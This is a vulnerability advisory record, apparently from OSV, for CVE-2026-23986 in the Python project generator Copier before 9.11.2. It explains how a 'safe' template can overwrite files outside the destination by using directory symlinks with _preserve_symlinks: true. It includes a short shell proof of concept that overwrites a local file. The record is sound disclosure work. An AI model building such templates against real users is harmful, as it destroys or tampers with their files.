{"id":"CVE-2026-23986","aliases":["GHSA-4fqp-r85r-hxqh","PYSEC-2026-1272"],"title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ","summary":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ","severity":"high","cvss":7.1,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","vendor":"copier","product":"copier","ecosystem":"pip","affected":["copier < 9.11.2"],"patched":["copier 9.11.2"],"published":"2026-01-21","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-4fqp-r85r-hxqh","references":[{"url":"https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23986"},{"url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"},{"url":"https://github.com/copier-org/copier"},{"url":"https://github.com/copier-org/copier/releases/tag/v9.11.2"}],"tags":["osv","pip"],"epss":0.00264,"epssPercentile":0.18555,"ingestedAt":"2026-07-08T18:25:45.479Z","slug":"CVE-2026-23986","body":"## Overview\n\n### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n> [!NOTE]\n>\n> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" > sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" > \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" > copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -> ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a\n\n## Affected packages\n\n- `copier < 9.11.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `copier 9.11.2`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}